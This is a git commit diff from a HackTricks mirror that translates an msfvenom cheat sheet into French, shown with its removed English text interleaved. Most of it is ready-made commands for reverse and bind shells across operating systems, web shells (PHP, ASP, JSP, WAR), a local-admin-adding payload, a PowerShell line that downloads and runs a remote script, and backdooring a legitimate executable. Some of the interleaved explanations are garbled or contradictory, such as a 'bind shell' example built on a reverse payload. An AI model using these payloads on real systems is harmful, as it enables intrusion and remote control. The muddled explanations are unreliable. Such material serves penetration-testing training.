Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['generic-methodologies-and-resources/shells/msfvenom.md', 'p

Browse source
This commit is contained in:
Translator 2023-08-16 09:35:21 +00:00
parent 8dab5a0d80
commit f5d79bfce9
6 changed files with 486 additions and 415 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

BIN
.gitbook/assets/image (667).png Normal file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 26 KiB

BIN
.gitbook/assets/image (668).png Normal file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 26 KiB

BIN
.gitbook/assets/image (669).png Normal file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 28 KiB

370
generic-methodologies-and-resources/shells/msfvenom.md
View file

@ -31,11 +31,13 @@ Gagnez des points de réputation avec chaque bug vérifié et conquérez le somm
***
## Msfvenom de base
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
On peut également utiliser `-a` pour spécifier l'architecture ou `--platform`
On peut également utiliser l'option `-a` pour spécifier l'architecture ou la `--platform`
## Listing
## Liste
```bash
msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders
@ -60,419 +62,185 @@ These parameters can be combined and customized to create shellcode that suits y
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
```
To create a reverse shell payload for Windows, we can use the `msfvenom` tool from the Metasploit Framework. The `msfvenom` tool allows us to generate various types of payloads, including reverse shells.
## **Windows**
Here is an example command to generate a reverse shell payload for Windows:
### **Shell inversée**
```plaintext
msfvenom -p windows/shell_reverse_tcp LHOST=<your IP address> LPORT=<listening port> -f exe > shell.exe
```
In this command, you need to replace `<your IP address>` with your actual IP address and `<listening port>` with the port number on which you want to listen for incoming connections.
The `-p` option specifies the payload to use, in this case, `windows/shell_reverse_tcp` which creates a reverse shell that connects back to the attacker's machine.
The `-f` option specifies the output format, in this case, `exe` which generates an executable file.
The `>` operator redirects the output to a file named `shell.exe`.
Once you have generated the payload, you can transfer it to the target Windows machine and execute it. When the payload is executed, it will establish a reverse shell connection back to your machine, allowing you to interact with the target system's command prompt.
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
```
A bind shell is a type of shell that listens for incoming connections on a specific port. Once a connection is established, the bind shell provides a command-line interface to interact with the compromised system. This allows an attacker to remotely execute commands and control the compromised system.
### Shell de liaison
To create a bind shell payload using `msfvenom`, you can use the following command:
```plaintext
msfvenom -p <payload> LHOST=<attacker IP> LPORT=<port> -f <format> -o <output file>
```
- `<payload>`: The payload to use, such as `windows/meterpreter/reverse_tcp` or `linux/x86/shell/bind_tcp`.
- `<attacker IP>`: The IP address of the attacker machine.
- `<port>`: The port number to listen on.
- `<format>`: The output format, such as `exe`, `elf`, or `raw`.
- `<output file>`: The name of the output file.
For example, to create a bind shell payload for a Windows system, listening on port 4444, and save it as `shell.exe`, you can use the following command:
```plaintext
msfvenom -p windows/meterpreter/bind_tcp LHOST=<attacker IP> LPORT=4444 -f exe -o shell.exe
```
Once the payload is generated, you can transfer it to the target system and execute it to establish a bind shell. The attacker can then connect to the bind shell using a compatible listener, such as Metasploit's `multi/handler` module, to gain remote access and control over the compromised system.
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
```
To create a user, you can use the `msfvenom` tool in Metasploit. The `msfvenom` tool allows you to generate various types of payloads, including shellcode, which can be used to create a user on a target system.
### Créer un utilisateur
Here is an example of how to create a user using `msfvenom`:
```plaintext
msfvenom -p windows/adduser USER=username PASS=password -f exe > adduser.exe
```
This command will generate an executable file called `adduser.exe` that, when executed on a Windows system, will create a user with the specified username and password.
You can customize the payload by changing the `USER` and `PASS` parameters to the desired username and password.
Once you have generated the payload, you can deliver it to the target system using various methods, such as social engineering or exploiting vulnerabilities.
Remember to use these techniques responsibly and only on systems that you have permission to test.
{% code overflow="wrap" %}
```bash
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```
### Shell CMD
Le shell CMD est un shell de commande utilisé principalement sur les systèmes d'exploitation Windows. Il permet aux utilisateurs d'interagir avec le système d'exploitation en exécutant des commandes spécifiques. Le shell CMD est souvent utilisé dans le cadre de l'exploitation de vulnérabilités et du piratage éthique pour exécuter des commandes malveillantes sur une machine cible. Il offre une interface en ligne de commande qui permet aux hackers d'exécuter des scripts, de manipuler des fichiers et d'accéder à des fonctionnalités système avancées. Le shell CMD est un outil puissant pour les hackers, mais il peut également être utilisé à des fins légitimes par les administrateurs système pour effectuer des tâches de maintenance et de dépannage.
{% code overflow="wrap" %}
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
{% code overflow="wrap" %}
### **Exécuter une commande**
The `msfvenom` tool can be used to generate payloads that can execute arbitrary commands on a target system. This can be useful during a penetration test to gain remote access and control over the target.
To generate a payload that executes a command, you can use the following command:
```
msfvenom -p cmd/unix/reverse_netcat LHOST=<attacker IP> LPORT=<attacker port> -f <output format> -o <output file>
```
Replace `<attacker IP>` with the IP address of the machine running the listener, and `<attacker port>` with the port number on which the listener is running.
The `-f` option specifies the output format, which can be one of the following:
- `elf`: Executable and Linkable Format (ELF)
- `exe`: Windows Executable
- `raw`: Raw payload
- `ruby`: Ruby script
- `c`: C code
- `python`: Python script
- `bash`: Bash script
The `-o` option specifies the output file where the payload will be saved.
Once the payload is generated, you can transfer it to the target system and execute it to gain command execution.
{% code %}
```bash
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
```
{% endcode %}
### Encodeur
L'encodage est une technique utilisée pour modifier le format d'un payload afin de contourner les mécanismes de détection des systèmes de sécurité. L'objectif est de rendre le payload indétectable par les outils de sécurité traditionnels.
L'encodage peut être utilisé pour éviter la détection des signatures de virus, des règles de pare-feu ou des systèmes de détection d'intrusion. Il peut également être utilisé pour contourner les filtres de contenu ou les mécanismes de détection de comportement anormal.
L'encodage peut être réalisé à l'aide d'outils tels que `msfvenom`, qui est un outil de génération de payloads inclus dans le framework Metasploit. `msfvenom` permet de générer des payloads encodés dans différents formats, tels que des fichiers exécutables, des scripts, des documents Office, etc.
L'encodage peut être effectué en utilisant différents algorithmes, tels que `xor`, `base64`, `unicode`, etc. Ces algorithmes permettent de modifier la structure du payload tout en conservant sa fonctionnalité.
L'utilisation d'un encodeur peut être utile lors de tests de pénétration pour contourner les systèmes de sécurité et réussir à exécuter un payload sur une cible. Cependant, il est important de noter que l'encodage n'est pas une garantie absolue de succès, car les systèmes de sécurité peuvent également être équipés de mécanismes de détection d'encodage.
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```
### Intégré à l'intérieur d'un exécutable
{% endcode %}
Lorsque vous souhaitez incorporer un payload dans un exécutable existant, vous pouvez utiliser la fonctionnalité `msfvenom` de Metasploit Framework. `msfvenom` vous permet de générer un payload personnalisé et de l'injecter dans un fichier exécutable existant.
### Intégré dans un exécutable
Pour incorporer un payload dans un exécutable, vous devez spécifier le type de payload que vous souhaitez utiliser, l'architecture cible, le format de sortie et le fichier exécutable cible. Par exemple, pour incorporer un payload de type reverse shell dans un exécutable Windows 32 bits, vous pouvez utiliser la commande suivante :
```plaintext
msfvenom -p windows/shell_reverse_tcp LHOST=<votre_IP> LPORT=<votre_port> -f exe -o <chemin_vers_le_fichier_executable>
```
Cette commande générera un payload de type reverse shell qui se connectera à votre adresse IP et au port spécifiés. Le payload sera ensuite injecté dans le fichier exécutable spécifié.
Une fois que vous avez généré l'exécutable avec le payload incorporé, vous pouvez le distribuer aux cibles potentielles. Lorsque le fichier exécutable est ouvert sur la machine cible, le payload sera exécuté en arrière-plan, établissant ainsi une connexion avec votre machine.
Il est important de noter que l'incorporation d'un payload dans un exécutable existant peut être considérée comme une activité malveillante et illégale sans le consentement approprié. Assurez-vous de toujours respecter les lois et réglementations en vigueur et d'obtenir les autorisations nécessaires avant d'effectuer de telles actions.
{% code overflow="wrap" %}
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
```
A reverse shell is a type of payload that allows an attacker to establish a connection from the target machine to their own machine. This enables the attacker to gain remote access to the target machine and execute commands.
{% endcode %}
To create a reverse shell payload using `msfvenom`, you can use the following command:
## Charges Linux
```plaintext
msfvenom -p <payload> LHOST=<attacker IP> LPORT=<attacker port> -f <format> -o <output file>
```
### Shell inversé
Replace `<payload>` with the desired payload, `<attacker IP>` with the IP address of the attacker's machine, `<attacker port>` with the port number the attacker wants to listen on, `<format>` with the desired output format, and `<output file>` with the name of the output file.
For example, to create a reverse shell payload using the `bash` payload, with the attacker's IP address set to `192.168.0.100` and the port set to `4444`, you can use the following command:
```plaintext
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f elf -o reverse_shell.elf
```
This will create a reverse shell payload in ELF format and save it as `reverse_shell.elf`.
{% code overflow="wrap" %}
```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```
A bind shell is a type of shell that listens for incoming connections on a specific port. Once a connection is established, the bind shell provides a command prompt interface to interact with the target system. This allows an attacker to gain remote access and control over the compromised system.
### Shell de liaison
To create a bind shell payload using `msfvenom`, you can use the following command:
```plaintext
msfvenom -p <payload> LHOST=<attacker IP> LPORT=<port> -f <format> -o <output file>
```
- `<payload>`: The payload to use, such as `windows/meterpreter/reverse_tcp` or `linux/x86/shell/bind_tcp`.
- `<attacker IP>`: The IP address of the attacker machine.
- `<port>`: The port number on which the bind shell will listen for incoming connections.
- `<format>`: The desired output format, such as `exe`, `elf`, or `raw`.
- `<output file>`: The name of the output file to save the generated payload.
For example, to create a bind shell payload for a Windows system, listening on port 4444, and save it as `shell.exe`, you can use the following command:
```plaintext
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f exe -o shell.exe
```
Once the payload is generated, you can transfer it to the target system and execute it to establish a bind shell connection.
{% code overflow="wrap" %}
```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
```
{% endcode %}
### SunOS (Solaris)
SunOS (Solaris) est un système d'exploitation basé sur UNIX développé par Sun Microsystems. Il est largement utilisé dans les environnements d'entreprise et offre une grande stabilité et une sécurité robuste. SunOS (Solaris) est souvent utilisé comme cible lors des tests de pénétration en raison de sa popularité et de sa présence dans de nombreux systèmes d'entreprise.
{% code overflow="wrap" %}
```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
```
A reverse shell is a type of payload that allows an attacker to establish a connection from the target machine to their own machine. This enables the attacker to gain remote access and control over the target machine.
{% endcode %}
To create a reverse shell payload for macOS, we can use the `msfvenom` tool from the Metasploit Framework. `msfvenom` allows us to generate various types of payloads, including reverse shells.
## **Payloads MAC**
Here is an example command to generate a reverse shell payload for macOS:
### **Shell inversé :**
```plaintext
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f macho > reverse_shell.macho
```
In this command, replace `<attacker IP>` with the IP address of the attacker machine and `<attacker port>` with the desired port number for the reverse shell connection.
The generated payload will be saved in the `reverse_shell.macho` file.
Once the payload is generated, the attacker can deliver it to the target machine using various methods, such as social engineering or exploiting vulnerabilities. When the payload is executed on the target machine, it will establish a reverse shell connection back to the attacker's machine, providing remote access and control.
{% code overflow="wrap" %}
```bash
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
```
A bind shell is a type of shell that listens for incoming connections on a specific port. Once a connection is established, the bind shell provides a command prompt interface to interact with the target system. This allows an attacker to gain remote access and control over the compromised system.
### **Shell de liaison**
To create a bind shell payload using `msfvenom`, you can use the following command:
```plaintext
msfvenom -p <payload> LHOST=<attacker IP> LPORT=<port> -f <format> -o <output file>
```
- `<payload>`: The payload to use, such as `windows/meterpreter/reverse_tcp` or `linux/x86/shell/bind_tcp`.
- `<attacker IP>`: The IP address of the attacker machine.
- `<port>`: The port number on which the bind shell will listen for incoming connections.
- `<format>`: The desired output format, such as `exe`, `elf`, or `raw`.
- `<output file>`: The name of the output file to save the generated payload.
For example, to create a bind shell payload for Windows using the `windows/meterpreter/reverse_tcp` payload, with the attacker IP set to `192.168.0.100` and the bind shell listening on port `4444`, you can use the following command:
```plaintext
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f exe -o bind_shell.exe
```
This will generate an executable file named `bind_shell.exe` that, when executed on the target system, will establish a reverse TCP connection to the attacker machine on port `4444`, providing a bind shell interface for remote access and control.
{% code overflow="wrap" %}
```bash
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
```
{% endcode %}
## **Charges utiles basées sur le Web**
### **PHP**
#### Shell inversé
{% code overflow="wrap" %}
```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
```
The ASP/x reverse shell technique allows an attacker to gain remote access to a target system. This technique involves creating a malicious ASP script that, when executed on the target system, establishes a reverse connection back to the attacker's machine.
{% endcode %}
To create the ASP/x reverse shell, we can use the `msfvenom` tool from the Metasploit Framework. The `msfvenom` tool allows us to generate various types of payloads, including reverse shells.
### ASP/x
Here is an example command to generate an ASP/x reverse shell payload using `msfvenom`:
#### Reverse shell
```plaintext
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f asp > shell.asp
```
In this command, we specify the `windows/meterpreter/reverse_tcp` payload, which establishes a reverse TCP connection. We also provide the IP address and port of the attacker's machine using the `LHOST` and `LPORT` options. Finally, we specify the output file as `shell.asp`.
Once we have generated the ASP/x reverse shell payload, we can upload it to the target system and execute it. This can be done through various means, such as exploiting a vulnerability or tricking a user into running the script.
Once the reverse shell is executed on the target system, it will establish a connection back to the attacker's machine. The attacker can then use this connection to interact with the target system, execute commands, and perform various malicious activities.
It is important to note that the ASP/x reverse shell technique is considered illegal and unethical unless performed with proper authorization for legitimate security testing purposes.
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
```
Le shell inversé est une technique couramment utilisée en piratage pour établir une connexion entre un attaquant et une machine cible. Cela permet à l'attaquant de contrôler à distance la machine cible et d'exécuter des commandes. Dans cet exemple, nous allons utiliser le langage JSP (JavaServer Pages) pour créer un shell inversé.
{% endcode %}
##### Étape 1: Générer le payload
### JSP
Nous allons utiliser l'outil `msfvenom` pour générer notre payload JSP. Assurez-vous d'avoir installé Metasploit Framework sur votre machine.
#### Reverse shell
```plaintext
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<votre adresse IP> LPORT=<votre port> -f raw > shell.jsp
```
Remplacez `<votre adresse IP>` par votre adresse IP et `<votre port>` par le port que vous souhaitez utiliser pour la connexion.
##### Étape 2: Héberger le shell
Maintenant que nous avons généré notre shell JSP, nous devons le mettre à disposition sur un serveur Web. Vous pouvez utiliser n'importe quel serveur Web de votre choix. Par exemple, si vous utilisez Apache, vous pouvez copier le fichier `shell.jsp` dans le répertoire `/var/www/html` de votre serveur.
##### Étape 3: Établir la connexion
Une fois que le shell JSP est hébergé, vous pouvez utiliser un navigateur Web pour accéder à l'URL suivante:
```plaintext
http://<adresse IP du serveur>/<chemin vers le shell.jsp>
```
Remplacez `<adresse IP du serveur>` par l'adresse IP de votre serveur et `<chemin vers le shell.jsp>` par le chemin d'accès au fichier `shell.jsp` sur votre serveur.
##### Étape 4: Contrôler la machine cible
Lorsque vous accédez à l'URL contenant le shell JSP, une connexion sera établie entre votre machine et la machine cible. Vous pouvez maintenant utiliser Metasploit Framework ou tout autre outil de votre choix pour contrôler la machine cible à distance.
**Note:** Assurez-vous d'utiliser cette technique uniquement à des fins légales et avec l'autorisation du propriétaire de la machine cible. Le piratage non autorisé est illégal et punissable par la loi.
{% code overflow="wrap" %}
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
```
La technique de Reverse Shell permet à un attaquant d'établir une connexion depuis une machine compromise vers une machine distante, en utilisant un shell inversé. Cela permet à l'attaquant de contrôler à distance la machine compromise et d'exécuter des commandes à partir de celle-ci.
{% endcode %}
L'outil `msfvenom` de Metasploit Framework est un outil puissant pour générer des charges utiles (payloads) malveillantes. Il peut être utilisé pour générer un payload de Reverse Shell qui sera exécuté sur la machine cible.
### WAR
Pour générer un payload de Reverse Shell avec `msfvenom`, vous pouvez utiliser la commande suivante :
#### Reverse Shell
```plaintext
msfvenom -p <payload> LHOST=<adresse IP> LPORT=<port> -f <format> -o <fichier de sortie>
```
- `<payload>` : Le type de payload à utiliser, par exemple `windows/meterpreter/reverse_tcp` pour les systèmes Windows.
- `<adresse IP>` : L'adresse IP de la machine à laquelle le Reverse Shell se connectera.
- `<port>` : Le port sur lequel le Reverse Shell se connectera.
- `<format>` : Le format de sortie du payload, par exemple `exe` pour un fichier exécutable Windows.
- `<fichier de sortie>` : Le nom du fichier de sortie qui contiendra le payload généré.
Une fois que vous avez généré le payload de Reverse Shell, vous pouvez l'envoyer à la machine cible et l'exécuter pour établir une connexion inversée. Cela permettra à l'attaquant de contrôler à distance la machine compromise et d'exécuter des commandes à partir de celle-ci.
{% code overflow="wrap" %}
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
```
{% code %}
### NodeJS
NodeJS est une plateforme logicielle open-source basée sur le moteur JavaScript V8 de Google. Elle permet d'exécuter du code JavaScript côté serveur, ce qui en fait un choix populaire pour le développement d'applications web. NodeJS est connu pour sa capacité à gérer de manière efficace les opérations d'entrée/sortie asynchrones, ce qui le rend adapté aux applications en temps réel et aux applications à haute performance.
#### Utilisation de NodeJS pour l'injection de coquilles
NodeJS peut être utilisé pour injecter des coquilles dans des applications web vulnérables. L'injection de coquilles est une technique couramment utilisée en piratage pour obtenir un accès non autorisé à un système. Elle consiste à insérer du code malveillant dans une application web afin de pouvoir exécuter des commandes sur le serveur.
Pour injecter une coquille à l'aide de NodeJS, vous pouvez utiliser le module `child_process` intégré. Ce module permet d'exécuter des commandes système à partir de votre application NodeJS. Voici un exemple de code qui utilise `child_process` pour exécuter une commande shell :
```javascript
const { exec } = require('child_process');
exec('commande_shell', (error, stdout, stderr) => {
if (error) {
console.error(`Erreur lors de l'exécution de la commande : ${error}`);
return;
}
console.log(`Sortie de la commande : ${stdout}`);
});
```
Dans cet exemple, `commande_shell` est la commande shell que vous souhaitez exécuter. Lorsque vous exécutez ce code, la commande shell sera exécutée sur le serveur et la sortie de la commande sera affichée dans la console.
Il est important de noter que l'injection de coquilles est une activité illégale et non éthique, sauf si elle est effectuée dans le cadre d'un test de pénétration autorisé. Il est essentiel de respecter les lois et les réglementations en vigueur et d'obtenir une autorisation appropriée avant de procéder à toute activité de piratage.
```bash
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
```
Perl is a high-level, general-purpose programming language that is commonly used for scripting and system administration tasks. It is known for its flexibility and powerful text processing capabilities. Perl payloads can be used in various hacking scenarios to exploit vulnerabilities and gain unauthorized access to systems.
## **Charges de langage de script**
#### **Creating a Perl Payload with msfvenom**
### **Perl**
The `msfvenom` tool, which is part of the Metasploit Framework, can be used to generate Perl payloads. The following command can be used to create a Perl payload:
```plaintext
msfvenom -p perl/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f raw > payload.pl
```
Replace `<attacker IP>` with the IP address of the machine running the payload handler, and `<attacker port>` with the port number on which the payload handler is listening.
#### **Executing the Perl Payload**
To execute the Perl payload, the target system must have Perl installed. The payload can be executed using the following command:
```plaintext
perl payload.pl
```
Once executed, the payload establishes a reverse TCP connection with the attacker's machine, allowing the attacker to interact with the compromised system.
#### **Payload Options**
The Perl payload generated by `msfvenom` supports various options that can be customized based on the specific requirements of the attack. Some of the commonly used options include:
- `LHOST`: Specifies the IP address of the machine running the payload handler.
- `LPORT`: Specifies the port number on which the payload handler is listening.
- `EXITFUNC`: Specifies the method used to exit the payload after execution.
These options can be modified in the `msfvenom` command to generate a customized Perl payload.
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
```
{% endcode %}
### **Python**
Python is a versatile and powerful programming language that is widely used in the field of hacking. Its simplicity and readability make it a popular choice among hackers for developing various hacking tools and scripts. Python provides a wide range of libraries and modules that can be used for different hacking tasks, such as network scanning, vulnerability assessment, and exploit development.
Python's extensive standard library and third-party packages, such as `requests` and `BeautifulSoup`, make it easy to interact with web applications and perform tasks like web scraping and form submission. Additionally, Python's `socket` module allows hackers to create network connections and send/receive data over different protocols.
Python is also commonly used for reverse engineering and malware analysis. Tools like `pycrypto` and `pydasm` provide functionalities for encryption/decryption and disassembling binary files, respectively. Moreover, Python's `subprocess` module allows hackers to execute system commands and interact with the underlying operating system.
In addition to its hacking capabilities, Python is widely used for automation and scripting purposes. Its simplicity and cross-platform compatibility make it an ideal choice for automating repetitive tasks and creating custom tools. Python's `os` and `shutil` modules provide functionalities for file manipulation, while libraries like `selenium` enable automated web browsing and interaction with web applications.
Overall, Python is a versatile and powerful programming language that is widely used in the field of hacking due to its simplicity, readability, and extensive library support. Whether you are a beginner or an experienced hacker, Python can be a valuable tool in your arsenal.
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
```
{% endcode %}
### **Bash**
Bash, également connu sous le nom de Bourne Again SHell, est un interpréteur de commandes populaire utilisé dans les systèmes d'exploitation basés sur Unix. Il offre une interface en ligne de commande pour exécuter des commandes, des scripts et des programmes. Bash est largement utilisé dans le domaine de la programmation et de l'administration système en raison de sa flexibilité et de sa puissance.
Voici quelques fonctionnalités clés de Bash :
- **Auto-complétion** : Bash propose une fonctionnalité d'auto-complétion qui permet de compléter automatiquement les commandes, les noms de fichiers et les chemins d'accès en appuyant sur la touche Tab. Cela facilite la saisie des commandes et réduit les erreurs de frappe.
- **Historique des commandes** : Bash conserve un historique des commandes précédemment exécutées, ce qui permet de les rappeler et de les réutiliser facilement. Il suffit de naviguer dans l'historique à l'aide des touches fléchées et d'appuyer sur Entrée pour exécuter une commande précédente.
- **Redirection des entrées/sorties** : Bash permet de rediriger les entrées et les sorties des commandes vers des fichiers ou d'autres commandes. Par exemple, vous pouvez rediriger la sortie d'une commande vers un fichier ou utiliser le contenu d'un fichier comme entrée pour une commande.
- **Variables et scripts** : Bash prend en charge les variables, ce qui permet de stocker des valeurs et de les utiliser dans les commandes et les scripts. Il permet également d'écrire des scripts shell pour automatiser des tâches répétitives.
- **Gestion des processus** : Bash permet de gérer les processus en cours d'exécution. Vous pouvez mettre une commande en arrière-plan, la mettre en pause, la reprendre ou la terminer.
Bash est un outil puissant pour les administrateurs système et les développeurs. Il offre de nombreuses fonctionnalités avancées qui facilitent l'automatisation des tâches et l'interaction avec le système d'exploitation.
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof est le lieu de tous les programmes de primes pour les bugs cryptographiques.**
**Obtenez une récompense sans délai**\
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
**Obtenez des récompenses sans délai**\
Les primes HackenProof ne sont lancées que lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
**Acquérez de l'expérience en pentest web3**\
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
**Devenez une légende du hacking web3**\
**Devenez la légende du hacking web3**\
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos hacks !
@ -483,7 +251,7 @@ Gagnez des points de réputation avec chaque bug vérifié et conquérez le somm
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

100
pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
View file

@ -1,22 +1,22 @@
# Pollution de prototype côté client
# Pollution du prototype côté client
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Découverte à l'aide d'outils automatiques
